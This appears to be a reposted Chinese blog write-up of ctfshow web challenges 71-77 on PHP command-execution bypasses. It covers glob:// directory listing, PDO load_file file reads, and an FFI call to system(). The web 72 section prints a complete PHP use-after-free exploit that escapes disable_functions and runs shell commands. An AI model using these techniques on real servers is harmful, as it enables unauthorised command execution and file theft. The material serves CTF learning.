当前位置: 首页 > news >正文

合肥商业网站建设费用/接广告赚钱的平台

合肥商业网站建设费用,接广告赚钱的平台,网站建设模拟软件,中山做百度网站的公司吗题目:web 71 题目:解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:cvar_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)这种情况我也…
  1. 题目:web 71
    1. 题目:
    2. 解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:c=var_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)这种情况我也有点懵:后来仔细一看,这里给出了源码:简要分析以下代码,在执行$c中的代码之后,首先是获取缓存区的内容,然后将其中的数字字母全部换为?,同时清空缓存区,于是这里出现可开头的一幕,全部都是?,那么我们需要在替换之前让其程序结束掉,不进行替换?的操作,这样就可以得到源文本:再次获取根目录内容—添加一个exit()函数或者die()函数均可:使用include()函数读取:得到flag
  2. 题目:web 72
    1. 题目:源码:题目进入后的报错提示:
    2. 解题思路:首先沿用上题的思路试一试:查看根目录内容:但是第一步就悲剧:这段警告是说:scandir() 函数尝试访问一个不在 open_basedir 允许路径内的目录。open_basedir 是一个 PHP 配置指令,用于限制 PHP 脚本能够访问的目录。 只有指定的目录才可以访问。于是(1)首要任务变成了要找出flag所在的目录,查找大佬 的wp发现此题可以使用一种新的思路来找目录:利用php伪协议 glob://
<?php 
//获取一个DirectoryIterator的对象  
//DirectoryIterator 是 PHP 的一个内置类,用于提供一个面向对象的接口来遍历目录。
//glob:// 流包装器:
//glob:// 是 PHP 的一个流包装器,允许你使用与 glob() 函数相同的模式匹配语法来指定文件路径。
//"glob:///*" 意图是匹配根目录下的所有文件和目录。$a = new DirectoryIterator("glob:///*");foreach ($a as $f) {//遍历$a 目录下的所有路径,以字符串的形式打印出来,间隔空格echo ($f->__toString().' ');} exit(0); 
?>
    1. 找flag所在目录,利用到上述代码:(这里的?>可以不加,因为eval('  ')里面的?>是不会闭合外层函数的,会将里面的内容当作一个完整的PHP代码进行执行)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

通过这种方法我们得到了flag所在目录:

    2. 第二步想办法查看flag内容,先用一下include发现不行:![](https://i-blog.csdnimg.cn/img_convert/ec871864a68d9b5873b8d19527dc447f.png)这里又是第二个坎,由于include函数被禁了于是,找大佬的wp,得到一个可以执行PHP系统命令的脚本,适用于类unix的系统: 如Linux或macOS  
<!-- 该脚本的主要用途是在目标PHP服务器上执行系统命令,例如读取文件内容、执行任意命令等。通过利用PHP对象注入漏洞,攻击者可以绕过PHP的安全机制,执行恶意代码。 -->
<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat flag0.txt");ob_end_flush();
?>

于是将其进行url编码传给c变量:得到flag:

3. 知识点: 利用glob://协议读取文件目录   利用脚本绕过PHP的限制执行命令
  1. 题目:web 73
    1. 题目:
    2. 解题思路:本题与上一题类似,先采取上一个题目的获取根目录内容,找flag的位置的解法:使用glob伪协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得出flag的位置在根目录下的flagc.txt:x想方法查看文件内容:include试一试:发现可行:试一试上一题的脚本:发现被过滤了(2)另解:这道题过滤没有那么严格,于是可以利用之前的c=var_export(scandir(‘/’));exit();然后使用include或者readgzfile()查看文件也可以。
  2. 题目:web 74
    1. 题目:
    2. 解题思路:先试一试scandir叭:发现被禁了:只好采用glob协议读取根目录内容:发现flag的地方之后,想办法读取:使用include() 包含使用功能类似的表示
1.遍历文件系统
(1) scandir():
功能:返回指定目录中的文件和目录列表。
示例:scandir('../../..');
注意:返回的是文件和目录名的数组,不包括完整路径。
(2) DirectoryIterator 类:
功能:提供了一个面向对象的接口来遍历目录。
示例: php代码:
$iterator = new DirectoryIterator('../../..');
foreach ($iterator as $fileinfo) {if ($fileinfo->isDot()) continue;echo $fileinfo->getFilename() . "\n";
}
注意:提供了更丰富的目录遍历功能,包括过滤和访问文件信息。
2.输出变量信息
(1)var_dump():
功能:输出变量的详细信息,包括类型和值。
示例:var_dump(glob('../../..'.'/*'));
注意:输出格式是为人类阅读设计的,不是合法的PHP代码。
(2)print_r():
功能:以人类可读的格式打印数组或对象。
示例:print_r(glob('../../..'.'/*'));
注意:输出格式更简洁,但同样不是合法的PHP代码。
(3)json_encode():
功能:将PHP变量转换为JSON格式的字符串。
示例:echo json_encode(glob('../../..'.'/*'));
注意:输出是JSON格式的字符串,可以在JavaScript等环境中使用。
    1. 于是我们还可以使用echo结合json_encode:c=echo json_encode(glob('../../..'.'/*'));exit();同样得到目录:或者var_export(glob('../../..'.'/*'))----这里使用的是glob()函数![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738639099957-1dc1a577-e2a6-438b-bf09-ab5be2373498.png)![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738639140211-28039947-cc86-4b38-91e4-8c3b3eb2e0fb.png)然后在利用include或者readgzfile读取文件内容
3. 知识点:查看变量信息的几种表示  1.var_dump()2.var_export()   3.print_r()   4.json_encode()
  1. 题目:web 75
    1. 题目:
    2. 解题思路:先试一下scandir:发现被禁了:于是再想办法使用glob函数:发现失败了:说明glob函数被禁用了但是在 PHP 中,<font style="color:rgb(251, 71, 135);">glob</font> 函数的行为是独立的,即使 <font style="color:rgb(251, 71, 135);">glob</font> 函数被禁用,使用 <font style="color:rgb(251, 71, 135);">DirectoryIterator</font><font style="color:rgb(251, 71, 135);">glob://</font> 流也是一种不同的机制,不会直接受到 <font style="color:rgb(251, 71, 135);">glob</font> 函数禁用的影响。 也就是说我们还可以使用glob协议: c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得到flag的位置:想办法读取:include ()函数被禁:想其他办法:readgzfile():也被禁了思路断了,去看看提示,提示给的第二个payload:上传得到了结果看看上传的是啥:
try {//创建 PDO 实例, 连接 MySQL 数据库( 主机名 数据库名 用户名 密码)//由于pdo对象提供了可以query()方法可以执行sql语句,于是这里才可以使用load_file函数$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
//这里的数据库名可以用information_schema代替,表示所有数据库
//ctftraining是根据之前ctfshow题目经验推测的//在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。// $row 代表的是字符串的每一行//SELECT load_file("/flag36.txt") 是一个有效的 MySQL 查询,//它请求 MySQL 使用 load_file 函数读取指定路径的文件内容。//这块 SQL 是在 PHP 中编写的,但它的执行是在 MySQL 数据库内部进行的。foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";//输出完一行之后用|隔开}
// 关闭数据库$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}
// 整体逻辑是利用try catch执行一个可能引发错误的语句,如果真的有异常会捕获异常并退出,
// 无异常就正常结束
exit(0);
3. 知识点:利用数据库函数load_file(合法路径)读取文件内容
  1. 题目:web 76
    1. 题目:
    2. 解题思路:采取类似的方法获取flag位置—借助glob协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>得到flag位置:读取文件内容:试试连接数据库,借助pdo对象的query()函数,使用sql函数load_file:得到结果
    3. 知识点:与上一题类似,复习巩固
  2. 题目:web 77
    1. 题目:
    2. 解题思路:首先的话,先看看这个根目录的内容:使用glob协议:发现有两个与flag有关系的文件:flag36.txt和readflag,我们都试着查看一下:借助sql的load_file函数:flag36x.txt内容:readflag内容:同样的这个时候发现有点猫腻,应该是这种方法行不通了,有仔细看看题目:发现题目特别说明了php版本是7.4:通过插件查看php版本,确实是7.4以上的:于是乎上网查看PHP7.4版本以上的命令执行漏洞:找到了一种新思路,由于php7.4以上增加了ffi拓展,这个拓展允许我们直接调用c库里面的函数,甚至可以绕过一些PHP层面的限制,执行c库里面的命令,从而达到命令执行的目的。
      1. 根据题目给的payload:这段代码的意思是利用php的ffi拓展,创建一个ffi对象,利用这个对象调用C库里面的system函数,将readflag重定向为1.txt:代码解析:
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,作用是将readflag文件重定向为一个1.txt文件,之前遇到过readflag文件。
//他是一个二进制文件,为可执行文件
$ffi->system($a);//通过$ffi去调用system函数
    2. 执行之后发现没有回显,于是就进行访问:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738650375927-28b0ca41-925a-4517-96c2-6af725018e7a.png)
3. 知识点:php7.4的ppi拓展利用[https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187](https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187)1. 本题目使用的是第四点 <font style="color:#0d0016;">利用FFI:cdef 绕过 disabled_function进行rce</font>

相关文章:

CTFSHOW-WEB入门-命令执行71-77

题目&#xff1a;web 71 题目&#xff1a;解题思路&#xff1a;分析可知highlight_file() 函数被禁了&#xff0c;先想办法看看根目录&#xff1a;cvar_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇&#xff1a;&#xff08;全是&#xff1f;&#xff09;这种情况我也…...

浅谈《图解HTTP》

感悟 滑至尾页的那一刻&#xff0c;内心突兀的涌来一阵畅快的感觉。如果说从前对互联网只是懵懵懂懂&#xff0c;但此刻却觉得她是如此清晰而可爱的呈现在哪里。 介绍中说&#xff0c;《图解HTTP》适合作为第一本网络协议书。确实&#xff0c;它就像一座桥梁&#xff0c;连接…...

LLMs瞬间获得视觉与听觉感知,无需专门训练:Meta的创新——在图像、音频和视频任务上实现最优性能。

引言&#xff1a; 问题&#xff1a; 当前的多模态任务&#xff08;如图像、视频、音频描述生成、编辑、生成等&#xff09;通常需要针对特定任务训练专门的模型&#xff0c;而现有的方法在跨模态泛化方面存在局限性&#xff0c;难以适应新任务。此外&#xff0c;多模态嵌入反演…...

自研有限元软件与ANSYS精度对比-Bar3D2Node三维杆单元模型-央视大裤衩实例

目录 1、“央视大裤衩”自研有限元软件求解 1.1、选择单元类型 1.2、导入“央视大裤衩”工程 1.3、节点坐标定义 1.4、单元连接关系、材料定义 1.5、约束定义 1.6、外载定义 1.7、矩阵求解 1.8、变形云图展示 1.9、节点位移 1.10、单元应力 1.11、节点支反力 2、“…...

kubernetes 高可用集群搭建

在生产环境中部署 Kubernetes 集群时&#xff0c;确保其高可用性&#xff08;High Availability, HA&#xff09;是至关重要的。高可用性不仅意味着减少服务中断时间&#xff0c;还能提高系统的稳定性和可靠性。本文将详细介绍如何搭建一个高可用的 Kubernetes 集群&#xff0c…...

【C++】STL——vector底层实现

目录 &#x1f495; 1.vector三个核心 &#x1f495;2.begin函数&#xff0c;end函数的实现&#xff08;简单略讲&#xff09; &#x1f495;3.size函数&#xff0c;capacity函数的实现 &#xff08;简单略讲&#xff09; &#x1f495;4.reserve函数实现 &#xff08;细节…...

数据结构初探:链表之单链表篇

本文图皆为作者手绘,所有代码基于vs2022运行测试 系列文章目录 数据结构初探:顺序表篇 文章目录 系列文章目录前言一、链表基础概念二、链表的分类简化边界条件处理使代码更清晰简洁提高程序稳定性 1.单链表(不带头不循环的单链表);1.1存储结构;1.2准备工作1.3链表增删查改的实…...

介绍一下Mybatis的底层原理(包括一二级缓存)

表面上我们的就是Sql语句和我们的java对象进行映射&#xff0c;然后Mapper代理然后调用方法来操作数据库 底层的话我们就涉及到Sqlsession和Configuration 首先说一下SqlSession&#xff0c; 它可以被视为与数据库交互的一个会话&#xff0c;用于执行 SQL 语句&#xff08;Ex…...

Linux基础 ——tmux vim 以及基本的shell语法

Linux 基础 ACWING y总的Linux基础课&#xff0c;看讲义作作笔记。 tmux tmux 可以干嘛&#xff1f; tmux可以分屏多开窗口&#xff0c;可以进行多个任务&#xff0c;断线&#xff0c;不会自动杀掉正在进行的进程。 tmux – session(会话&#xff0c;多个) – window(多个…...

64位的谷歌浏览器Chrome/Google Chrome

64位的谷歌浏览器Chrome/Google Chrome 在百度搜索关键字:chrome&#xff0c;即可下载官方的“谷歌浏览器Chrome/Google Chrome”&#xff0c;但它可能是32位的&#xff08;切记注意网址&#xff1a;https://www.google.cn/....&#xff0c; 即&#xff1a;google.cn&#xff…...

jetson编译torchvision出现 No such file or directory: ‘:/usr/local/cuda/bin/nvcc‘

文章目录 1. 完整报错2. 解决方法 1. 完整报错 jetson编译torchvision,执行python3 setup.py install --user遇到报错 running build_ext error: [Errno 2] No such file or directory: :/usr/local/cuda/bin/nvcc完整报错信息如下&#xff1a; (pytorch) nxnx-desktop:~/Do…...

多线程创建方式三:实现Callable接口

实现Callable第三种方式存在的原因 作用&#xff1a;可以返回线程执行完毕后的结果。 前两种线程创建方式都存在的一个问题&#xff1a;假如线程执行完毕后有一些数据需要返回,他们重写的run方法均不能直接返回结果。 如何实现 ● JDK 5.0提供了Callable接口和FutureTask类来…...

Linux下的编辑器 —— vim

目录 1.什么是vim 2.vim的模式 认识常用的三种模式 三种模式之间的切换 命令模式和插入模式的转化 命令模式和底行模式的转化 插入模式和底行模式的转化 3.命令模式下的命令集 光标移动相关的命令 复制粘贴相关命令 撤销删除相关命令 查找相关命令 批量化注释和去…...

Docker技术相关学习二

一、Docker简介 1.Docker之父Solomon Hykes形容docker就像传统的货运集装箱。 2.docker的特点和优势&#xff1a; 轻量级虚拟化&#xff1a;Docker容器相较于传统的虚拟机更加的轻量和高效&#xff0c;能够快速的启动和停止来节省系统资源。 一致性&#xff1a;确保应用程序在不…...

【人工智能】多模态学习在Python中的应用:结合图像与文本数据的深度探索

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 多模态学习是人工智能领域的一个重要研究方向,旨在通过结合多种类型的数据(如图像、文本、音频等)来提高模型的性能。本文将深入探讨多模…...

【MySQL】常用语句

目录 1. 数据库操作2. 表操作3. 数据操作&#xff08;CRUD&#xff09;4. 高级查询5. 索引管理6. 用户与权限7. 数据导入导出8. 事务控制9. 其他实用语句注意事项 如果这篇文章对你有所帮助&#xff0c;渴望获得你的一个点赞&#xff01; 1. 数据库操作 创建数据库 CREATE DATA…...

Docker网络基础

一、Docker网络基础 1.docker安装后会自动创建3中网络&#xff0c;分别为bridge host none docker network ls 2.docker原生bridge网络&#xff1a; docker安装时会创建一个名为docker0的linux bridge,新建的容器会自动桥接到这个接口 bridge模式下没有公有ip,只有宿主机可以…...

重新刷题求职2-DAY2

977. 有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 示例 1&#xff1a; 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;平方后…...

[STM32 标准库]EXTI应用场景 功能框图 寄存器

一、EXTI 外部中断在嵌入式系统中有广泛的应用场景&#xff0c;如按钮开关控制&#xff0c;传感器触发&#xff0c;通信接口中断等。其原理都差不多&#xff0c;STM32会对外部中断引脚的边沿进行检测&#xff0c;若检测到相应的边沿会触发中断&#xff0c;在中断中做出相应的处…...

Slint的学习

Slint是什么 Slint是一个跨平台的UI工具包&#xff0c;支持windows,linux,android,ios,web&#xff0c;可以用它来构建申明式UI,后端代码支持rust,c,python,nodejs等语言。 开源地址&#xff1a;https://github.com/slint-ui/slint 镜像地址&#xff1a;https://kkgithub.com/…...

STM32 DMA+AD多通道

接线图 代码配置 ADC单次扫描DMA单次转运模式 uint16_t AD_Value[4]; //DMAAD多通道 void DMA_Config(void) {//定义结构体变量 GPIO_InitTypeDef GPIO_InitStructure;//定义GPIO结构体变量 ADC_InitTypeDef ADC_InitStructure; //定义ADC结构体变量 DMA_InitTypeDef DMA_In…...

如何构建ObjC语言编译环境?构建无比简洁的clang编译ObjC环境?Windows搭建Swift语言编译环境?

如何构建ObjC语言编译环境? 除了在线ObjC编译器&#xff0c;本地环境Windows/Mac/Linux均可以搭建ObjC编译环境。 Mac自然不用多说&#xff0c;ObjC是亲儿子。(WSL Ubuntu 22.04) Ubuntu可以安装gobjc/gnustep和gnustep-devel构建编译环境。 sudo apt-get install gobjc gnus…...

【C语言】指针详解:概念、类型与解引用

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C语言 文章目录 &#x1f4af;前言&#x1f4af;指针的基本概念1. 什么是指针2. 指针的基本操作 &#x1f4af;指针的类型1. 指针的大小2. 指针类型与所指向的数据类型3. 指针类型与数据访问的关系4. 指针类型的实际意…...

VoIP中常见术语

在 VoIP&#xff08;Voice over Internet Protocol&#xff0c;基于互联网协议的语音传输&#xff09;技术中&#xff0c;涉及许多专业术语。以下是常见术语及其含义&#xff1a; 1. 核心协议相关 SIP&#xff08;Session Initiation Protocol&#xff0c;会话发起协议&#xf…...

360嵌入式开发面试题及参考答案

解释一下 802.11ax 和 802.11ac/n 有什么区别 速度与带宽 802.11n 支持的最高理论速率为 600Mbps,802.11ac 进一步提升,单流最高可达 866.7Mbps,多流情况下能达到更高,如 1.3Gbps 等。而 802.11ax(Wi-Fi 6)引入了更多先进技术,理论最高速率可达 9.6Gbps,相比前两者有大…...

物理群晖SA6400核显直通win10虚拟机(VMM)

写在前面&#xff1a;请先确保你的核显驱动支持开启SR-IOV 确保你的BIOS开启了以下选项&#xff1a; VT-D VMX IOMMU Above 4G ResizeBAR 自行通过以下命令确认支持情况&#xff1a; dmesg | grep -i iommudmesg | grep DMAR分配1个虚拟vGPU&#xff1a;echo 1 | sudo tee /sy…...

【NLP 20、Encoding编码 和 Embedding嵌入】

目录 一、核心定义与区别 二、常见Encoding编码 (1) 独热编码&#xff08;One-Hot Encoding&#xff09; (2) 位置编码&#xff08;Positional Encoding&#xff09; (3) 标签编码&#xff08;Label Encoding&#xff09; (4) 注意事项 三、常见Embedding词嵌入 (1) 基础词嵌入…...

雷赛LC2000

【一&#xff0c;概述】 这个是中型PLC 【二&#xff0c;外观】 网口编号&#xff1a; 【2】【3】 //默认ip&#xff1a;192.168.1.xxx 【0】【1】 可视化授权不如禾川Q系。 【三&#xff0c;总线轴】 因为本次带的轴是台达A2系列伺服 A2最快总线是【1ms】的倍数…...

ESP32开发工具介绍:Thonny——初学者的MicroPython利器

文章目录 引言什么是 Thonny?为什么选择 Thonny 开发 ESP32?1. **MicroPython 的天然支持**2. **极简的配置流程**3. **适合快速原型开发**如何用 Thonny 开发 ESP32?步骤 1:准备工作步骤 2:烧录 MicroPython 固件步骤 3:在 Thonny 中连接 ESP32步骤 4:编写并运行代码Th…...

【Go语言圣经】第六节:方法

第六章&#xff1a;方法 6.1 方法声明 在函数声明时&#xff0c;在其名字之前放上一个变量&#xff0c;这就是声明了变量对应类型的一个方法&#xff0c;相当于为这种类型定义了一个独占的方法。 下例为 Point 类型声明了计算两个点之间距离的方法&#xff1a; package mai…...